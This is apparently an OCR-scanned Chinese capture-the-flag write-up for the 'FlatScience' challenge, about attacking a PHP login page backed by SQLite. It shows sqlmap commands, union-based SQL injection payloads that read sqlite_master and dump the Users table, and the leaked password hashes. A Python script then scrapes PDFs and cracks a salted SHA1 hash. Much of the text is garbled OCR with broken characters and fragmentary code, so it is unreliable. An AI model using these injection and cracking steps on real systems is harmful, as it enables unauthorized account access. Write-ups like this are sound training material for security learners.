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Best Papers

Hey! Welcome to my (partly unfinished) oldskool Website!
I'm Prof. Flux Horst, .. argh, 'nuff said - you should know me!
Here are some of my famous Papers i wrote so far.

Maybe you check them out yourselves?!

Try this or this or go here

Flux Horst (Flux dot Horst at rub dot flux)

fHF dirsearch R T FHEJLNREHF: robots.txt, login.php, admin.php, o FHHZFMHE —SpdERXMLXLT,
H BT IEA AE X R SCH A, JeicE (F X i SO %2 B RBUC R F AEFZIRE). REFE login.php WH. 2—NEFR
1.

< C @ © # 220.249.52.134:49220/login.php
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Login

Login Page, do not try to hax here plox!
ID:

Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

X B postiE N , HEIEER sQLite3

| L 1 1 I 1
POST flogin.php HTTR/1.1

Host: 220.249.52.134:49220

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4, x64; ne84.0) Gecko/20100101 Firefox/84.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9 image/fwebp,*/*,q=0.8 -
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 zh-HK; q=0.5 en-US;q=0.3 en;q=0.2 LOgln
Accept-Encading: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 19

Crigin: http://220.249.62.134:49220

Connection: close ID:
Referer: http://220.249.52.134:49220/login. php

T

Last Modified: Fri Mar 31:33:7 UTC 1337

Login Page. do not try to hax here plox!

Upgrade-Insecurs-Requests: 1 Password:
usFadn1iﬂ1&pVFadmin
Submit

Warning:|SQLite3:|query(): Unable to prepare statement: 1, unrecognized token:

"47ee9c4ad11802435de8513b2e3aae38003ac543" in /var/www/html/login.php on|
line 47

Some Error occourred!

Flux Horst (Flux dot Horst at rub dot flux)

HFAS soLite3 HIVEANTE, BHi#E Esglmap, $14T: sqlmap -r http.txt --risk 3 --level 5 --dump-all --batch
BT — L3R

[ 58 1 [WARNING] no clear password(s) found
Database: SQLite_masterdb

Table: Users

[3 entries]

my fav word in my fav paper?! | 3fab54a50e770d830c0416df817567662a9dc85¢
fritze | my love is..? | 54eae8935c90f467427f05e4ece82cf569189507
hansi the password is password | 34b@bb7c304949f9ff2fc10leef0f048be10d3bd

XEANERLHA john —BF ¥4 JLBBEAH R, BIEadmindF MhintZB HER: my fav word in my fav paper?! . J5MI 2 HLE
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Login

Login Page, do not try to hax here plox!
ID:

|
Password:

Submit

Flux Horst (Flux dot Horst at rub dot flux)

o O=E= B =k Rl D EdE N mE () Etsss O s TEERE @ HackBar @ HackBar @ Quantum Hackbar

Q #% HTML

<IDOCTYPE html PUBLIC "-//W3C//DTD HTML 4.81//EN">

<html>»

¥ <head:> (= </head

v <body>
<div class="lastmod" align="right">Last Modified: Fri Mar 31:33:7 UTC 1337</div>»
<hl>Login</h1x
Login Page, do not try to hax here plox!
<br»

bl

form method="post"> - </form

<!--TODO: Remove ?debug-Parameter!-->
<hr noshade="">
<address>»Flux Horst (Flux dot Horst at rub dot flux)</address»
</body>
</html>

I E—A> 2debug B if) 74 8 7T LA Bl [B] & K php

<« C @ O 4 220.249.52.134:4922[{z|ogin.php?debug |
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Login

Login Page, do not try to hax here plox!
ID:

Password:

Submit

<?php

ob_start();

2

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN">

<html>

<head>

{style>

blockquote { background: #eeeeee; }

hl { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }

{/style>



HAgphp i T

D isset($_POST[ IDDRE
$user = $ POST[ 1;
$pass $ POST[ 1;

$db = new SQLite3(

$res = $db->query( . .shal($pass.
)
if($res){
$row = $res->fetchArray();
)i
else{

echo

if(isset($row| I {
setcookie(
header(
die();

BRG] LR BB E P AU D shal (P B RIHD+"Salz! ") R « IERERRE: KA W pdfctt R FE
HSRAD salz! Bt3%E, SRJGH shal B hashft , FIBAF EHEHA sqlmap # M H SR admink) 182 B R REAHR, ABHEH
& admin RS T

Fom——————— Fo—— o B e e +

| name | hint | password |
o T - +

| admin my fav word in my fav paper?! | 3fab54a50e770d830c0416df817567662a9dc85¢c| |
fritze | my love is..? 54eae8935c907467427f05e4ece82cf56989507 |

the password is password 34b0bb7c304949f9ff2fcl0leef0f048bel0d3bd |
————f————— ———————— e —————— e ————————— +

% 5 ARSI T B :

import requests

from bs4 import BeautifulSoup

import os

import re

import hashlib

from pdfminer.pdfparser import PDFParser
from pdfminer.pdfdocument import PDFDocument




from pdfminer.pdfpage import PDFPage

from pdfminer.pdfpage import PDFTextExtractionNotAllowed
from pdfminer.pdfinterp import PDFResourceManager

from pdfminer.pdfinterp import PDFPagelnterpreter

from pdfminer.layout import

from pdfminer.converter import PDFPageAggregator

def pdf2txt(path):

pdfFile (path,

parser = PDFParser(pdfFile)

document = PDFDocument(parser)

document.is_extractable:
raise PDFTextExtractionNotAllowed

resource PDFResourceManager()

laparams LAParams ()

device PDFPageAggregator(resource, laparams=laparams)

interpreter PDFPagelInterpreter(resource,device)

fileName (path.split( )[9])
newFileName fileName

f (newFileName,

for page in PDFPage.create_pages(document):

interpreter.process_page(page)

layout device.get_result()
for x in layout:
if ( (x, LTTextBoxHorizontal)):

try:
f.writelines(x.get_text()
except:
pass
f.close()

downloadpdf():
pdfurl []

urlList




]

for each in urllist:
r = requests.get(url=each)
soup = BeautifulSoup(r.text, )
result soup.find_all(name , attrs={
for tmp in result:
if tmp[ 1.endswith(
pdfUrl.append(each.split(

for each in pdfUrl:

os.system(

shal(msg):

shal hashlib.shal()
shal.update((msg ) .encode(
return shal.hexdigest()

getpassword():
passlist {

}

for each in os.listdir(os.curdir):

if each.endswith( ):
with (each, ) as
.read()
b re.split(r
c =l
tmp
judge False

for each in b:

if each.endswith( ):
tmp = each.split( )[9]
judge True

elif judge:
c.append(tmp + each)
judge False

else:

c.append(each)

each in c:
print(each)
if shal(each) in passlist:




return passlist[shal(each)]

def main():
os.chdir(os.curdir + os.sep
downloadpdf ()

for each in os.listdir(os.curdir):
pdf2txt(each)

password = getpassword()
return password

if _ name_
print(main())
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Login

Login Page, do not try to hax here plox!
D-

[

Password:

admin

Submit

Warning:|SQLite3[:query(): Unable to prepare statement: 1, unrecognized token: "47ee9cdad11802435de8513b2e3aae38003ac543" i+ /var/www/html/login.php|on line 47

Some Error occourred!

Flux Horst (Flux dot Horst at rub dot flux)
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TR Y AU [H] HY1GHs B AU BE 2 B P e = 5 2lcookie Y, T | pTas

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

POST /login.php HTTF/1.1
Host: 220.249.52.134:52633

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:84.0) Gecko/20100101 Firefox/84.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp ** q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0.5 &n-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 23

Origin: http://220.2459.52.134:52633

Connection: close

Referer: http://220.249.52 134:52633/ogin.php

Upgrade-Insecure-Requests: 1

usf=admi ]

pw=admin

HTTP/1.1 302 Found

Date: Fri, 15 Jan 2021 08:08:35 GMT
Server: Apache/2.4.10 (Debian)
¥-Powered-By £ 30
Set-Cookie:
Location: /

Content-Length: 699
Connection: close
Content-Type: text/html; charset=UTF-8

e

xpires=Fri, 15-Jan-2021 08:09:35 GMT, Max-Age=60;

<IDOCTYPE HTML PUBLIC "/W3CHDTD HTML 4 014EN">

<html=
<head=
<style>

FBRH: 2
FOST fogin.php HTTR/.1 A . . . _
Host: 270,249 52 134-52633 r Tast Modified: Fri Mar 31:33:7 UTC 1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; xB4; nv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/htmlapplication/xhtml+xml application/xml; g=0.9 image/fwebp " q=0.8 .
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 &n;q=0.2 LOgln
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cantent-Length: 34 Login Page, do not trv to hax here plox!
Origin: http://220.249 52 134:52633 ID: -
Connection: close .
Referer: http://220.249.52.134:52633/ogin.php
Upgrade-Insecure-Requests: 1 Password:
usHadmin’ order by 3| -+&pw=admin
Submit
Warning| SQLite3::query(): Unable to prepare statement: 1, 1st ORDER
BY termrout of range - should be between 1 and 2 in
fvar/www/html/login.php on line 47
Some Error occourred!
Flux Horst (Flux dot Horst at rub dot flux)

J FiawT Params T Headers T Hex ]

[ Raw I Headers I Hex T HTML I Render ]

POST flogin.php HTTP/1.1
Host: 220.249.52.134:52633

Accept: text/html application/xhtml+xml application/xml,q=0.9 imagefwebp */* q=0.8
Accept-Language: zh-CN zh,q=0.8,zh-TW,q=0.7 zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 34

Origin: http://220.249.52.134:52633
Connection: close

Referer: http://220.249 52 134:52633/login. php
Upgrade-Insecure-Requests: 1

usr=admir|' arder by 2 ++&pw=admin

SR . BIAFE

. L |

User-Agent: Mozilla®.0 (Windows NT 10.0; Wing4,; x64; n:84.0) Gecko/20100101 Firefox/84.0

e

Last Modified:

Login

Login Page, do not try to hax here plox!
ID:

Password:

Submit

— L |

POST flogin. php HTTP/1.1
Host: 220.249.52.134:52633

UserAgent: Mozilla/5.0 (Windows MNT 10.0; WinB4; x64; n:84.0) Gecko/20100101 Firefox/84.0

[+ HTTP/1.1302 Found
Date: Fri, 15 Jan 2021 08:28:08 GMT
Server: Apache/2.4.10 (Debian)



ACCEPL TEXTNIMI, AP PICETIon XATMI+XmI appucations xmi;g=u. s image/wsnp, /- q=u.o
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 41

Origin: http://220.249.52.134:52633
Connection: close

Referer: http://220.249.52.134:52633/login.ph
Upgrade-Insecure-Requests: 1

ustF-admin' union select 1 2} +&pw=admin

AU
Set-Cookie: name=+2; pxpires=Fri, 15-Jan-2021 08:29:08 GMT,; M:
Location: /

Content-Length: 639

Connection: close

Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC "W3CH/DTD HTML 4.014EN">

<html=
<head=
<style>

hlarkannta [ hackarnnnd-: feaaaaa- 1

SQLite B FEHFAE—A sqlite_master BRIANE, BT mysql FH information_schema , BJPLYE sqlite master FEFH

HRHE, DRZAHATERRRIER, FHNEDT:

® sqlite master -— SQLitelI R4EK. ZRILFBHEPHRFHR, &5, VENMERERE. EAEsqliteiEER1ZER

S H3E,
° type — ICFIZW HKKEAR, 0. table. index. view. trigger
® name -— ICXZTHMZFRK, W: KRB, RILE

sqlite_master® H &5 FE:

® tbl_name - ICRKFTMNBHIRSG, WERIIFERNRE. N TRRUZIIMRBRLE LS.
* rootpage - LRI H EEHIEE W PRS0 Tl B Ak 28 1% 7 BOMO0E#E NULL

* sql -— LA ZIHE KsqliEa

so, FATA LIAIEW R TR KIsqliEH)

select tbl _name from sqlite master — & FTHKFEHL

o select sql from sqlite_master --— E AT KIsqliEf]
® select sql from sqlite_master where type='table' and tbl _name='Users' --— £ if]fllZUsers&fIsqliE )
o

HAEIRA, HEIUERKNsqEEAEIIRTRTFRER, MAWT



*4 : Users

'gj RawT Params I Headers T Hex ]

J RawT Headers T Hex I HTML T Render ]

POST flagin.php HTTP/1.1
Host: 220.249.52.134:52633

Accept: text/html,application/xhtml+xml application/xml;q=0.9 imagefwebp *™*,q=0.8
E}'B\Ccna[:]t-Language: zh-CN,zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 2n-U5;q=0.3 2n;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 67

Origin: http:/f220.249.52.134:52633

Connection: close

Referer: http:/f220.249.52.134:52633/1ogin.php
Upgrade-Insecure-Requests: 1

usr|=-admin' union select 1 thl_name fram sqlite_masterl~-+&pw=admin

Users& i F B

J Raw I Params I Headers I Hex }

1 User-Agent: Mozilla/5.0 (Windows MT 10.0; WinG4; x64; rv:84.0) Gecko/20100101 Firefox/84.0

& HTTR/1 .1 302 Found
Date: Fri, 15 Jan 2021 08:35:38 GMT
Server: Apache/2.4.10 (Debian)
¥-Powered-By: PHP/S.6.30

Set- |xpirES:Fri, 15-Jan-2021 08:36:38 GMT:

Content-Length: 639
Connection: close
Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC "YW3GHDTD HTML 4.014EN">

<html>
<head=
<style>

blockquote { background: #egeree; }
hd M hardar hattam: calid hlaclk Janw. 1

J Raw I Headers I Hex I HTML I Render ]

POST flogin.php HTTP/ 1

Host: 220.249.52.134:52633

i User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4,; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html application/xhtml+xml,application/xml;q=0.2 image/webp */*,q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK; q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 102

Origin: http:4220.249.52.134:52633

Connection: close

Referer: http:/f220.249.52.134:52633/login. php

Upgrade-Insecure-Requests: 1

usr=-admin’ union select 1,sql from sqlite_master where type=table’ and thl_name="Users'
—+&pw=admin|

R 1g

HTTP/1.1 302 Found [1
Date: Fri, 15 Jan 2021 08:58:00 GMT

Server. Apache/2.4.10 (Debian)

¥-Powered-By: PHP/S.6.30

Set-Cookje:

name=+CREATE+TABLE+Users%28id+int+primary +key%2Cname-+varchar%28255%29%2Cpasswo
rd-+varchar%28255%29%2Chint+varchar$e28255%29%29; expires=Fri, 15-Jan-2021 08:53:00 GMT;

Max-Age=bU; path=/

Location: /

Content-Length: 699

Connection: close

Content-Type: text/html; charset=UTF-8

<IDOCTYPE HTML PUBLIC "#W3CHDTD HTML 4.01/EN">

<html>

—
CREATE TABLE Userslﬂlint primary keylnamelvarchar(ESSvarchar(ESS}archar[ESS]]

Users®A IUAFB: id, name, password, hint , F|Fgroup_concat()% 5l & #iname, passwordflhint#B. HATITFIRK

we

® union select 1,group_concat(name,"++++") from Users --+
® union select 1,group_concat(password,"++++") from Users --+

® union select 1,group_concat(hint,"++++") from Users --+



HHBIW SR THR

admin
3fab54a50e770d830c0416df817567662a9dc85¢
my+fav+word+in+my+fav+paper%3F%21

fritze
54eae8935c901467427105edece82cf569189507
my+love+is%E2%80%A6%3F

hansi
34b0bb7c304949f9ff2fc101eef0f048be10d3bd
the+password+is+password




	【攻防世界】二十四 --- FlatScience
	题目 ---- FlatScience
	一、writeup
	二、知识点


